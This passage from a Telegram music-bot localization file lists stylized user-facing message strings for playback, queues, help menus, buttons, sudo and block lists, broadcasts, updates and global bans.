ᴀᴠᴀɪʟᴀʙʟᴇ ꜰᴏʀᴍᴀᴛs ꜰᴏʀ ᴛʜᴇ ᴠɪᴅᴇᴏ. ᴘʟᴇᴀsᴇ ᴛʀʏ ᴀɴʏ ᴏᴛʜᴇʀ ᴛʀᴀᴄᴋ.\"\nsong_8 : \"ᴅᴏᴡɴʟᴏᴀᴅ sᴛᴀʀᴛᴇᴅ\\n\\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs...\"\nsong_9 : \"ꜰᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ sᴏɴɢ ꜰʀᴏᴍ ʏᴛ-ᴅʟ\\n\\n**ʀᴇᴀsᴏɴ:** {0}\"\nsong_10 : \"ꜰᴀɪʟᴇᴅ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ ᴛᴇʟᴇɢʀᴀᴍ sᴇʀᴠᴇʀs.\"\nsong_11 : \"ᴜᴘʟᴏᴀᴅɪɴɢ sᴛᴀʀᴛᴇᴅ ʙᴀʙʏ\\n\\nᴘʟᴇᴀsᴇ ʜᴏʟᴅ ᴏɴ...\"\n\nplay_1 : \"✨ 𝑷𝒓𝒐𝒄𝒆𝒔𝒔𝒊𝒏𝒈....🥀\"\nplay_2 : \"<b>➻ ᴄʜᴀɴɴᴇʟ ᴘʟᴀʏ ᴍᴏᴅᴇ</b>\\n\\nᴘʀᴏᴄᴇssɪɴɢ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\\n\\n<b>ʟɪɴᴋᴇᴅ ᴄʜᴀɴɴᴇʟ :</b> {0}\"\nplay_3 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ.\"\nplay_4 : \"<b>ᴀᴅᴍɪɴs ᴏɴʟʏ ᴘʟᴀʏ</b>\\nᴏɴʟʏ ᴀᴅᴍɪɴs ᴏғ ᴛʜɪs ᴄʜᴀᴛ ᴀʀᴇ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ\\n\\nᴄʜᴀɴɢᴇ ᴘʟᴀʏ ᴍᴏᴅᴇ ᴠɪᴀ /playmode\"\nplay_5 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ᴀᴜᴅɪᴏ ғɪʟᴇ.\\n\\nᴀᴜᴅɪᴏ ғɪʟᴇ sɪᴢᴇ ɪs ʟᴀʀɢᴇʀ ᴛʜᴀɴ ᴛʜᴇ ᴅᴇғɪɴᴇᴅ ʟɪᴍɪᴛ.\"\nplay_6 : \"» sᴛʀᴇᴀᴍ's ʟᴏɴɢᴇʀ ᴛʜᴀɴ {0} ᴀʀᴇɴ'ᴛ ᴀʟʟᴏᴡᴇᴅ ᴛᴏ ᴘʟᴀʏ ᴏɴ {1}\"\nplay_7 : \"» ɴᴏᴛ ᴀ ᴠᴀʟɪᴅ ᴠɪᴅᴇᴏ ғɪʟᴇ ᴇxᴛᴇɴsɪᴏɴ.\\n\\n<b>sᴜᴘᴘᴏʀᴛᴇᴅ ᴇxᴛᴇɴsɪᴏɴs :</b> {0}\"\nplay_8 : \"» ᴠɪᴅᴇᴏ ғɪʟᴇ sɪᴢᴇ sʜᴏᴜʟᴅ ʙᴇ ʟᴇss ᴛʜᴀɴ 1ɢɪʙ.\"\nplay_9 : \"<b><u>ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ ғᴇᴀᴛᴜʀᴇ</b></u>\\n\\nsᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴡʜᴏʟᴇ ʏᴏᴜᴛᴜʙᴇ ᴘʟᴀʏʟɪsᴛ.\"\nplay_10 : \"<b>ᴛɪᴛʟᴇ :</b> {0}\\n<b>ᴅᴜʀᴀᴛɪᴏɴ :</b> {1} ᴍɪɴᴜᴛᴇs\"\nplay_11 : \"<u><b>{0} sᴘᴏᴛɪғʏ ᴘʟᴀʏᴇʀ</b></u>\\n\\n<b>ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {1}\"\nplay_12 : \"<u><b>{0} ᴀᴘᴘʟᴇ ᴘʟᴀʏᴇʀ</b></u>\\n\\n<b>ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {1}\"\nplay_13 : \"» ʟɪᴠᴇ sᴛʀᴇᴀᴍ ᴅᴇᴛᴇᴄᴛᴇᴅ.\\n\\nᴀʀᴇ ʏᴏᴜ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜ ᴡᴀɴɴᴀ ᴘʟᴀʏ ᴛʜɪs ʟɪᴠᴇ sᴛʀᴇᴀᴍ ?\"\nplay_14 : \"ꜰᴀɪʟᴇᴅ ᴛᴏ ꜰᴇᴛᴄʜ ᴛʀᴀᴄᴋ ᴅᴇᴛᴀɪʟs.\\n\\nᴛʀʏ ᴘʟᴀʏɪɴɢ ᴀɴʏ ᴏᴛʜᴇʀ.\"\nplay_15 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ᴘʀᴏᴄᴇss ǫᴜᴇʀʏ.\\n\\nɪ ᴄᴀɴ ᴏɴʟʏ ᴘʟᴀʏ sᴘᴏᴛɪғʏ ᴛʀᴀᴄᴋs, ᴀʟʙᴜᴍs, ᴀʀᴛɪsᴛs ᴀɴᴅ ᴘʟᴀʏʟɪsᴛs.\"\nplay_16 : \"ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ.\\n\\nᴛᴏ ᴜsᴇ ғᴏʀᴄᴇ ᴩʟᴀʏ, ᴛʜᴇʀᴇ ᴍᴜsᴛ ʙᴇ ᴀɴ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇᴄʜᴀᴛ.\"\nplay_17 : \"ᴘʟᴇᴀsᴇ ᴛᴜʀɴ ᴏɴ ᴠɪᴅᴇᴏᴄʜᴀᴛ, ɪ'ᴍ ᴜɴᴀʙʟᴇ ᴛᴏ sᴛʀᴇᴀᴍ ᴜʀʟs.\"\nplay_18 : \"<b>ᴜsᴀɢᴇ :</b> /play [sᴏɴɢ ɴᴀᴍᴇ/ʏᴏᴜᴛᴜʙᴇ ᴜʀʟ/ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴀᴜᴅɪᴏ/ᴠɪᴅᴇᴏ ғɪʟᴇ]\"\nplay_19 : \"Queued Playlist :\"\nplay_20 : \"Queued Position-\"\nplay_21 : \"ᴀᴅᴅᴇᴅ {0} ᴛʀᴀᴄᴋs ᴛᴏ ǫᴜᴇᴜᴇ.\\n\\n<b>ᴄʜᴇᴄᴋ :</b> <a href={1}>ᴄʟɪᴄᴋ ʜᴇʀᴇ</a>\"\nplay_22 : \"sᴇʟᴇᴄᴛ ᴛʜᴇ ᴍᴏᴅᴇ ɪɴ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ᴘʟᴀʏ ᴛʜᴇ ǫᴜᴇʀɪᴇs ɪɴsɪᴅᴇ ʏᴏᴜʀ ɢʀᴏᴜᴘ : {0}\"\nhelp_1 : \"ᴄʜᴏᴏsᴇ ᴛʜᴇ ᴄᴀᴛᴇɢᴏʀʏ ғᴏʀ ᴡʜɪᴄʜ ʏᴏᴜ ᴡᴀɴɴᴀ ɢᴇᴛ ʜᴇʟᴩ.\\nᴀsᴋ ʏᴏᴜʀ ᴅᴏᴜʙᴛs ᴀᴛ <a href={0}>sᴜᴘᴘᴏʀᴛ ᴄʜᴀᴛ</a>\\n\\nᴀʟʟ ᴄᴏᴍᴍᴀɴᴅs ᴄᴀɴ ʙᴇ ᴜsᴇᴅ ᴡɪᴛʜ : <code>/</code>\"\nhelp_2 : \"ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴍʏ ʜᴇʟᴘ ᴍᴇɴᴜ ɪɴ ʏᴏᴜʀ ᴘᴍ.\"\n\nstr_1 : \"ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴍ3ᴜ8 ᴏʀ ɪɴᴅᴇx ʟɪɴᴋs.\"\nstr_2 : \"➻ ᴠᴀʟɪᴅ sᴛʀᴇᴀᴍ ᴠᴇʀɪғɪᴇᴅ.\\n\\nᴘʀᴏᴄᴇssɪɴɢ...\"\nstr_3 : \"ғᴀɪʟᴇᴅ ᴛᴏ sᴛʀᴇᴀᴍ ʏᴏᴜᴛᴜʙᴇ ʟɪᴠᴇ sᴛʀᴇᴀᴍ, ɴᴏ ʟɪᴠᴇ ꜰᴏʀᴍᴀᴛ ꜰᴏᴜɴᴅ.\"\n\nping_1 : \"{0} ɪs ᴘɪɴɢɪɴɢ...\"\nping_2 : \"🏓 ᴩᴏɴɢ : <code>{0}ᴍs</code>\\n\\n<b><u>{1} sʏsᴛᴇᴍ sᴛᴀᴛs :</u></b>\\n\\n✨ ᴜᴩᴛɪᴍᴇ : {2}\\n❄️ ʀᴀᴍ : {3}\\n💫 ᴄᴩᴜ : {4}\\n🔮 ᴅɪsᴋ : {5}\\n☁️ ᴩʏ-ᴛɢᴄᴀʟʟs : <code>{6}ᴍs</code>\"\n\nqueue_1 : \"» ғᴇᴛᴄʜɪɴɢ ǫᴜᴇᴜᴇ...\\n\\nᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\"\nqueue_2 : \"» ǫᴜᴇᴜᴇ ᴇᴍᴘᴛʏ.\"\nqueue_3 : \"<u>» ᴄʟɪᴄᴋ ʜᴇʀᴇ ᴛᴏ ᴄʜᴇᴄᴋ ᴛʜᴇ ʟɪsᴛ ᴏғ ᴛʜᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋs :</u> <a href={0}>ʜᴇʀᴇ</a>\"\nqueue_4 : \"➲ <b>Aᴅᴅᴇᴅ Tᴏ Qᴜᴇᴜᴇ Aᴛ #{0}\\n\\n‣ Tɪᴛʟᴇ :</b> {1}\\n<b>‣ Dᴜʀᴀᴛɪᴏɴ :</b> {2} ᴍɪɴᴜᴛᴇs\\n<b>‣ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {3}\"\nqueue_5 : \"ᴛʜᴇʀᴇ's ᴏɴʟʏ ᴏɴᴇ ǫᴜᴇᴜᴇᴅ ᴛʀᴀᴄᴋ ɪɴ ᴘʟᴀʏʟɪsᴛ.\\n\\nᴀᴅᴅ ᴍᴏʀᴇ ᴛʀᴀᴄᴋs ᴛᴏ ᴄʜᴇᴄᴋ ʟɪsᴛ.\"\nqueue_6 : \"<b>🕚 ᴅᴜʀᴀᴛɪᴏɴ :</b> ᴜɴᴋɴᴏᴡɴ ᴅᴜʀᴀᴛɪᴏɴ sᴛʀᴇᴀᴍ\\n\\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ.\"\nqueue_7 : \"\\nᴄʟɪᴄᴋ ᴏɴ ʙᴜᴛᴛᴏɴ ʙᴇʟᴏᴡ ᴛᴏ ɢᴇᴛ ᴡʜᴏʟᴇ ǫᴜᴇᴜᴇᴅ ʟɪsᴛ.\"\nqueue_8 : \"<b>{0} ᴘʟᴀʏᴇʀ</b>\\n\\n🎄 <b>sᴛʀᴇᴀᴍɪɴɢ :</b> {1}\\n\\n🔗 <b>sᴛʀᴇᴀᴍ ᴛʏᴘᴇ :</b> {2}\\n🥀 <b>ʀᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {3}\\n{4}\"\n\nstream_1 : \"<b><blockquote>➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |</blockquote></b>\\n\\n<b><blockquote>➠ Tɪᴛʟᴇ :</b> <a href={0}>{1}</a>\\n<b>➠ Dᴜʀᴀᴛɪᴏɴ :</b> {2} ᴍɪɴᴜᴛᴇs\\n<b>➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ </b> {3}<b></blockquote>\\n<b><blockquote>➠ ϻᴧᴅє ʙʏ ➛ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𝗞𝗜𝗡𝗚](https://t.me/BRANDEDKING8)</b></blockquote>\"\nstream_2 : \"<b><blockquote>➲ Bʀᴀɴᴅᴇᴅ Sᴛᴀʀᴛᴇᴅ Sᴛʀᴇᴀᴍɪɴɢ |</blockquote></b>\\n\\n<b><blockquote>➠ Sᴛʀᴇᴀᴍ ᴛʏᴘᴇ :</b> ʟɪᴠᴇ sᴛʀᴇᴀᴍ [ᴜʀʟ]\\n<b>➠ Rᴇǫᴜᴇsᴛᴇᴅ ʙʏ :</b> {0}</blockquote>\"\n\n#General\nCLOSE_BUTTON  : \"↻ ᴄʟᴏsᴇ ↻\"\nCLOSEMENU_BUTTON  : \"↻ ᴄʟᴏsᴇ ↻\"\nBACK_BUTTON : \"↻ ʙᴀᴄᴋ ↻\"\nNEXT_PAGE: \"▷\"\nBACK_PAGE: \"◁\"\nUNBAN_BUTTON : \"• ᴜɴʙᴀɴ •\"\n\n#Lyrics\nL_B_1 : \"🚀 ᴄʜᴇᴄᴋᴏᴜᴛ ʟʏʀɪᴄs ɴᴏᴡ\"\n\n#PlaylistButtons\nPL_B_1 : \"🌌 ᴘʟᴀʏʟɪsᴛ 🌌\"\nPL_B_2 : \"• ᴘʟᴀʏʟɪsᴛs •\"\nPL_B_3 : \"• ᴍᴇɴᴜ •\"\nPL_B_4 : \"🎧 ᴘʟᴀʏ ᴍᴏᴅᴇ\"\nPL_B_5 : \"🗑 ᴅᴇʟᴇᴛᴇ ᴡʜᴏʟᴇ ᴘʟᴀʏʟɪsᴛ\"\nPL_B_6 : \"🗑 ᴅᴇʟᴇᴛᴇ ᴘʟᴀʏʟɪsᴛ\"\nPL_B_7 : \"🥺 ʏᴇᴀʜ, ᴅᴇʟᴇᴛᴇ ɪᴛ\"\nPL_B_8 : \"🔢 ᴘʟᴀʏ ᴛᴏᴘ 10\"\nPL_B_9 : \"🔥 ᴘʟᴀʏ ɢʟᴏʙᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs\"\nPL_B_10 : \"🏘 ᴘʟᴀʏ ɢʀᴏᴜᴘ's ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs\"\nPL_B_11 : \"💖 ᴘʟᴀʏ ᴘᴇʀsᴏɴᴀʟ ᴛᴏᴘ 10 ᴛʀᴀᴄᴋs\"\n\n#Song\nSG_B_1 : \"• ᴄʟɪᴄᴋ ʜᴇʀᴇ •\"\nSG_B_2 : \"🎧 ᴀᴜᴅɪᴏ 🎧\"\nSG_B_3 : \"🎥 ᴠɪᴅᴇᴏ 🎥\"\n\n# Start\nS_B_1 : \"ᴀᴅᴅ ᴍᴇ\"\nS_B_2 : \"sᴜᴘᴘᴏʀᴛ\"\nS_B_3 : \"ᴀᴅᴅ ᴍᴇ ᴛᴏ ʏᴏᴜʀ ɢʀᴏᴜᴘ\"\nS_B_4 : \"ʜᴇʟᴘ ᴀɴᴅ ᴄᴏᴍᴍᴀɴᴅ\"\nS_B_5 : \"ᴏᴡɴᴇʀ\"\nS_B_6 : \"ᴄʜᴀɴɴᴇʟ\"\nS_B_8 : \"ʏᴏᴜᴛᴜʙᴇ\"\nS_B_9 : \"sᴜᴩᴩᴏʀᴛ\"\n\nH_B_1 : \"Aᴅᴍɪɴ\"\nH_B_2 : \"Aᴜᴛʜ\"\nH_B_3 : \"Bʀᴏᴀᴅᴄᴀsᴛ\"\nH_B_4 : \"Bʟ-Cʜᴀᴛ\"\nH_B_5 : \"Bʟ-Usᴇʀ\"\nH_B_6 : \"C-Pʟᴀʏ\"\nH_B_7 : \"G-Bᴀɴ\"\nH_B_8 : \"Lᴏᴏᴘ\"\nH_B_9 : \"Mᴀɪɴᴛᴇɴᴀɴᴄᴇ\"\nH_B_10 : \"Pɪɴɢ\"\nH_B_11 : \"Pʟᴀʏ\"\nH_B_12 : \"Sʜᴜғғʟᴇ\"\nH_B_13 : \"Sᴇᴇᴋ\"\nH_B_14 : \"Sᴏɴɢ\"\nH_B_15 : \"Sᴘᴇᴇᴅ\"\nH_B_16 : \"ɢᴘᴛ\"\nH_B_17 : \"Rᴇᴇʟ\"\nH_B_18 : \"ᴛᴀɢ-ᴀʟʟ\"\nH_B_19 : \"ɪɴғᴏ\"\nH_B_20 : \"Hɪsᴛᴏʀʏ\"\nH_B_21 : \"ᴇxᴛʀᴀ\"\nH_B_22 : \"ɪᴍᴀɢᴇ\"\nH_B_23 : \"ᴀᴄᴛɪᴏɴ\"\nH_B_24 : \"sᴇᴀʀᴄʜ\"\n\nP_B_1 : \"⛦ ᴀᴜᴅɪᴏ \"\nP_B_2 : \" ᴠɪᴅᴇᴏ 🥀\"\nP_B_3 : \"⛦ ʟɪᴠᴇ sᴛʀᴇᴀᴍ \"\nP_B_4 : \" ɴᴏʀᴍᴀʟ 🥀\"\n\nST_B_1 : \"Aᴜᴛʜ ᴜsᴇʀs\"\nST_B_2 : \"Pʟᴀʏ ᴍᴏᴅᴇ\"\nST_B_3 : \"Lᴀɴɢᴜᴀɢᴇ\"\nST_B_4 : \"Vᴏᴛɪɴɢ ᴍᴏᴅᴇ\"\nST_B_5 : \"ᴏɴ\"\nST_B_6 : \"ᴏғғ\"\nST_B_7 : \"Aᴜᴛʜ ᴜsᴇʀs ➜\"\nST_B_8 : \"ᴀᴅᴍɪɴs\"\nST_B_9 : \"ᴇᴠᴇʀʏᴏɴᴇ\"\nST_B_10 : \"Sᴇᴀʀᴄʜ ᴍᴏᴅᴇ ➜\"\nST_B_11 : \"ᴅɪʀᴇᴄᴛ\"\nST_B_12 : \"ɪɴʟɪɴᴇ\"\nST_B_13 : \"Aᴅᴍɪɴ ᴄᴍᴅs ➜\"\nST_B_14 : \"Pʟᴀʏ ᴛʏᴘᴇ ➜\"\n\nSA_B_1 : \"ᴏᴠᴇʀᴀʟʟ sᴛᴀᴛs\"\nSA_B_2 : \"☁️ ɢᴇɴᴇʀᴀʟ\"\nSA_B_3 : \"🔮 ᴏᴠᴇʀᴀʟʟ\"\n\nQU_B_1 : \"ǫᴜᴇᴜᴇ\"\nQU_B_2 : \" {0} —————————— {1}\"\n\nsudo_1 : \"» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ.\"\nsudo_2 : \"» ᴀᴅᴅᴇᴅ {0} ᴛᴏ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ.\" \nsudo_3 : \"» {0} ɪs ɴᴏᴛ ɪɴ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ.\"\nsudo_4 : \"» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀs ʟɪsᴛ.\"\nsudo_5 : \"<u><b>🥀 ᴏᴡɴᴇʀ :</b></u>\\n\"\nsudo_6 : \"\\n<u><b>✨ sᴜᴅᴏ ᴜsᴇʀs :</b></u>\\n\"\nsudo_7 : \"» ɴᴏ sᴜᴅᴏ ᴜsᴇʀs ғᴏᴜɴᴅ.\"\nsudo_8 : \"ғᴀɪʟᴇᴅ.\"\n\nblock_1 : \"» {0} ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴏᴄᴋᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ.\"\nblock_2 : \"» ᴀᴅᴅᴇᴅ {0} ᴛᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nblock_3 : \"» {0} ɪs ɴᴏᴛ ɪɴ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nblock_4 : \"» ʀᴇᴍᴏᴠᴇᴅ {0} ғʀᴏᴍ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ.\"\nblock_5 : \"» ɴᴏ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ғᴏᴜɴᴅ.\"\nblock_6 : \"» ɢᴇᴛᴛɪɴɢ ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs ʟɪsᴛ...\"\nblock_7 : \"<b>😫 ʙʟᴏᴄᴋᴇᴅ ᴜsᴇʀs :</b>\\n\\n\"\n\nblack_1 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/blacklistchat [ᴄʜᴀᴛ ɪᴅ]\"\nblack_2 : \"» ᴛʜɪs ᴄʜᴀᴛ ɪs ᴀʟʀᴇᴀᴅʏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ.\"\nblack_3 : \"» sᴜᴄᴄᴇssғᴜʟʟʏ ᴀᴅᴅᴇᴅ ᴛᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs.\"\nblack_4 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/whitelistchat [ᴄʜᴀᴛ ɪᴅ]\"\nblack_5 : \"» ᴛʜɪs ᴄʜᴀᴛ ɪs ɴᴏᴛ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ.\"\nblack_6 : \"» sᴜᴄᴄᴇssғᴜʟʟʏ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs.\"\nblack_7 : \"» ʟɪsᴛ ᴏғ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs :\\n\\n\"\nblack_8 : \"» ɴᴏ ʙʟᴀᴄᴋʟɪsᴛᴇᴅ ᴄʜᴀᴛs ᴏɴ {0}.\"\nblack_9 : \"» sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ.\"\n\nmaint_1 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n/maintenance [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]\"\nmaint_2 : \"» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴇɴᴀʙʟᴇᴅ.\"\nmaint_3 : \"» {0} ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ᴅɪsᴀʙʟᴇᴅ.\"\nmaint_4 : \"» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴇɴᴀʙʟᴇᴅ.\"\nmaint_5 : \"» ᴍᴀɪɴᴛᴇɴᴀɴᴄᴇ ᴍᴏᴅᴇ ɪs ᴀʟʀᴇᴀᴅʏ ᴅɪsᴀʙʟᴇᴅ.\"\n\nlog_1 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n/logger [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]\"\nlog_2 : \"ᴇɴᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ.\"\nlog_3 : \"ᴅɪsᴀʙʟᴇᴅ ʟᴏɢɢɪɴɢ.\"\n\nbroad_1 : \"» sᴛᴀʀᴛᴇᴅ ʙʀᴏᴀᴅᴄᴀsᴛɪɴɢ...\"\nbroad_2 : \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/broadcast [ᴍᴇssᴀɢᴇ ᴏʀ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ]\"\nbroad_3 : \"» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴄʜᴀᴛs ᴡɪᴛʜ {1} ᴘɪɴs ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ.\"\nbroad_4 : \"» ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ᴍᴇssᴀɢᴇ ᴛᴏ {0} ᴜsᴇʀs.\"\nbroad_5 : \"» sᴛᴀʀᴛɪɴɢ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ...\"\nbroad_6 : \"➻ ᴀssɪsᴛᴀɴᴛ ʙʀᴏᴀᴅᴄᴀsᴛ :\\n\\n\"\nbroad_7 : \"↬ ᴀssɪsᴛᴀɴᴛ {0} ʙʀᴏᴀᴅᴄᴀsᴛᴇᴅ ɪɴ {1} ᴄʜᴀᴛs.\"\nbroad_8 : \"» ᴘʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴛᴏ ʙʀᴏᴀᴅᴄᴀsᴛ.\"\n\nserver_1 : \"» ғᴀɪʟᴇᴅ ᴛᴏ ɢᴇᴛ ʟᴏɢs.\"\nserver_2 : \"ᴘʟᴇᴀsᴇ ᴍᴀᴋᴇ sᴜʀᴇ ᴛʜᴀᴛ ʏᴏᴜʀ ʜᴇʀᴏᴋᴜ ᴀᴘɪ ᴋᴇʏ ᴀɴᴅ ᴀᴘᴘ ɴᴀᴍᴇ ᴀʀᴇ ᴄᴏɴғɪɢᴜʀᴇᴅ ᴄᴏʀʀᴇᴄᴛʟʏ.\"\nserver_3 : \"ᴄʜᴇᴄᴋɪɴɢ ꜰᴏʀ ᴀᴠᴀɪʟᴀʙʟᴇ ᴜᴘᴅᴀᴛᴇs...\"\nserver_4 : \"ɢɪᴛ ᴄᴏᴍᴍᴀɴᴅ ᴇʀʀᴏʀ.\"\nserver_5 : \"ɪɴᴠᴀʟɪᴅ ɢɪᴛ ʀᴇᴘsɪᴛᴏʀʏ.\"\nserver_6 : \"» ʙᴏᴛ ɪs ᴜᴘ-ᴛᴏ-ᴅᴀᴛᴇ.\"\nserver_7 : \"» ʙᴏᴛ ᴜᴩᴅᴀᴛᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ ! ɴᴏᴡ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ ᴍɪɴᴜᴛᴇs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ ʀᴇsᴛᴀʀᴛs ᴀɴᴅ ᴩᴜsʜ ᴄʜᴀɴɢᴇs !\"\nserver_8 : \"{0} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\\n\\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs.\"\nserver_9 : \"sᴏᴍᴇᴛʜɪɴɢ ᴡᴇɴᴛ ᴡʀᴏɴɢ, ᴩʟᴇᴀsᴇ ᴄʜᴇᴄᴋ ʟᴏɢs.\"\nserver_10 : \"ᴀɴ ᴇxᴄᴇᴩᴛɪᴏɴ ᴏᴄᴄᴜʀᴇᴅ ᴀᴛ #ᴜᴩᴅᴀᴛᴇʀ ᴅᴜᴇ ᴛᴏ : <code>{0}</code>\"\nserver_11 : \"» ʀᴜɴɴɪɴɢ ᴀ sᴘᴇᴇᴅᴛᴇsᴛ...\"\nserver_12 : \"<b>⇆ ʀᴜɴɴɪɴɢ ᴅᴏᴡɴʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ...</b>\"\nserver_13 : \"<b>⇆ ʀᴜɴɴɪɴɢ ᴜᴩʟᴏᴀᴅ sᴩᴇᴇᴅᴛᴇsᴛ...</b>\"\nserver_14 : \"<b>↻ sʜᴀʀɪɴɢ sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs...</b>\"\nserver_15 : \"✯ <b>sᴩᴇᴇᴅᴛᴇsᴛ ʀᴇsᴜʟᴛs</b> ✯\\n\\n<u><b>ᴄʟɪᴇɴᴛ :</b></u>\\n<b>» ɪsᴩ :</b> {0}\\n<b>» ᴄᴏᴜɴᴛʀʏ :</b> {1}\\n\\n<u><b>sᴇʀᴠᴇʀ :</b></u>\\n<b>» ɴᴀᴍᴇ :</b> {2}\\n<b>» ᴄᴏᴜɴᴛʀʏ :</b> {3}, {4}\\n<b>» sᴩᴏɴsᴏʀ :</b> {5}\\n<b>» ʟᴀᴛᴇɴᴄʏ :</b> {6}\\n<b>» ᴩɪɴɢ :</b> {7}\"\n\ngban_1 : \"» ᴡʜʏ ᴅɪᴅ ʏᴏᴜ ᴡᴀɴɴᴀ ɢʙᴀɴ ʏᴏᴜʀsᴇʟғ ʙᴀʙʏ ?\"\ngban_2 : \"» ᴡʜʏ sʜᴏᴜʟᴅ ɪ ɢʙᴀɴ ᴍʏsᴇʟғ ?\"\ngban_3 : \"» ʏᴏᴜ ᴄᴀɴ'ᴛ ɢʙᴀɴ ᴍʏ sᴜᴅᴏᴇʀs.\"\ngban_4 : \"» {0} ɪs ᴀʟʀᴇᴀᴅʏ ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ.\"\ngban_5 : \"» ɪɴɪᴛɪᴀʟɪᴢɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0}.\\n\\n<b>ᴛɪᴍᴇ ᴇxᴘᴇᴄᴛᴇᴅ :</b> {1}\"\ngban_6 : \"<b><u>ɴᴇᴡ ɢʟᴏʙᴀʟ ʙᴀɴ ᴏɴ {0} :</u></b>\\n\\n<b>ᴏʀɪɢɪɴᴀᴛᴇᴅ 